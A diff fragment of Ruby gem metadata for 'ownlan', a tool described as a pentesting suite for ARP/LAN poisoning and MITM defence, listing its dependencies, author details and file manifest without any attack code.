40
|
+
version: '0'
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: activesupport
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - ">="
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '0'
|
48
|
+
type: :runtime
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - ">="
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: '0'
|
55
|
+
- !ruby/object:Gem::Dependency
|
56
|
+
name: bundler
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
58
|
+
requirements:
|
59
|
+
- - "~>"
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: '1.11'
|
62
|
+
type: :development
|
63
|
+
prerelease: false
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - "~>"
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: '1.11'
|
69
|
+
- !ruby/object:Gem::Dependency
|
70
|
+
name: rake
|
71
|
+
requirement: !ruby/object:Gem::Requirement
|
72
|
+
requirements:
|
73
|
+
- - "~>"
|
74
|
+
- !ruby/object:Gem::Version
|
75
|
+
version: '10.0'
|
76
|
+
type: :development
|
77
|
+
prerelease: false
|
78
|
+
version_requirements: !ruby/object:Gem::Requirement
|
79
|
+
requirements:
|
80
|
+
- - "~>"
|
81
|
+
- !ruby/object:Gem::Version
|
82
|
+
version: '10.0'
|
83
|
+
- !ruby/object:Gem::Dependency
|
84
|
+
name: rspec
|
85
|
+
requirement: !ruby/object:Gem::Requirement
|
86
|
+
requirements:
|
87
|
+
- - "~>"
|
88
|
+
- !ruby/object:Gem::Version
|
89
|
+
version: '3.0'
|
90
|
+
type: :development
|
91
|
+
prerelease: false
|
92
|
+
version_requirements: !ruby/object:Gem::Requirement
|
93
|
+
requirements:
|
94
|
+
- - "~>"
|
95
|
+
- !ruby/object:Gem::Version
|
96
|
+
version: '3.0'
|
97
|
+
- !ruby/object:Gem::Dependency
|
98
|
+
name: pry
|
99
|
+
requirement: !ruby/object:Gem::Requirement
|
100
|
+
requirements:
|
101
|
+
- - ">="
|
102
|
+
- !ruby/object:Gem::Version
|
103
|
+
version: '0'
|
104
|
+
type: :development
|
105
|
+
prerelease: false
|
106
|
+
version_requirements: !ruby/object:Gem::Requirement
|
107
|
+
requirements:
|
108
|
+
- - ">="
|
109
|
+
- !ruby/object:Gem::Version
|
110
|
+
version: '0'
|
111
|
+
description: Ownlan is used to test a network against MITM attacks, and then to secure
|
112
|
+
it.
|
113
|
+
email:
|
114
|
+
- shideneyu@gmail.com
|
115
|
+
executables:
|
116
|
+
- ownlan
|
117
|
+
extensions: []
|
118
|
+
extra_rdoc_files: []
|
119
|
+
files:
|
120
|
+
- ".rspec"
|
121
|
+
- ".travis.yml"
|
122
|
+
- Gemfile
|
123
|
+
- Gemfile.lock
|
124
|
+
- MIT-LICENSE.txt
|
125
|
+
- README.md
|
126
|
+
- Rakefile
|
127
|
+
- bin/ownlan
|
128
|
+
- lib/ownlan.rb
|
129
|
+
- lib/ownlan/application.rb
|
130
|
+
- lib/ownlan/attack/base.rb
|
131
|
+
- lib/ownlan/attack/client.rb
|
132
|
+
- lib/ownlan/attack/fake_ip_conflict.rb
|
133
|
+
- lib/ownlan/attack/gateway.rb
|
134
|
+
- lib/ownlan/attack/ntoa.rb
|
135
|
+
- lib/ownlan/cli.rb
|
136
|
+
- lib/ownlan/config.rb
|
137
|
+
- lib/ownlan/exceptions.rb
|
138
|
+
- lib/ownlan/manual/broadcast.rb
|
139
|
+
- lib/ownlan/manual/capture.rb
|
140
|
+
- lib/ownlan/protect/base.rb
|
141
|
+
- lib/ownlan/protect/freeze.rb
|
142
|
+
- lib/ownlan/protect/resynchronize.rb
|
143
|
+
- lib/ownlan/protect/static.rb
|
144
|
+
- lib/ownlan/protect/stealth.rb
|
145
|
+
- lib/ownlan/service_objects/craft_arp_packets.rb
|
146
|
+
- lib/ownlan/service_objects/network_information.rb
|
147
|
+
- lib/ownlan/service_objects/send_arp_packets.rb
|
148
|
+
- lib/ownlan/version.rb
|
149
|
+
- ownlan.gemspec
|
150
|
+
- pkg/ownlan-0.1.0.gem
|
151
|
+
- pkg/ownlan-0.3.0.gem
|
152
|
+
homepage: https://github.com/shideneyu/ownlan
|
153
|
+
licenses:
|
154
|
+
- MIT
|
155
|
+
metadata:
|
156
|
+
allowed_push_host: https://rubygems.org
|
157
|
+
post_install_message:
|
158
|
+
rdoc_options: []
|
159
|
+
require_paths:
|
160
|
+
- lib
|
161
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
162
|
+
requirements:
|
163
|
+
- - "~>"
|
164
|
+
- !ruby/object:Gem::Version
|
165
|
+
version: 2.1.2
|
166
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
167
|
+
requirements:
|
168
|
+
- - ">="
|
169
|
+
- !ruby/object:Gem::Version
|
170
|
+
version: '0'
|
171
|
+
requirements: []
|
172
|
+
rubyforge_project:
|
173
|
+
rubygems_version: 2.4.5.1
|
174
|
+
signing_key:
|
175
|
+
specification_version: 4
|
176
|
+
summary: Ownlan aims to be a simple, concise and useful pentesting LAN poisoning suite
|
177
|
+
test_files: []
|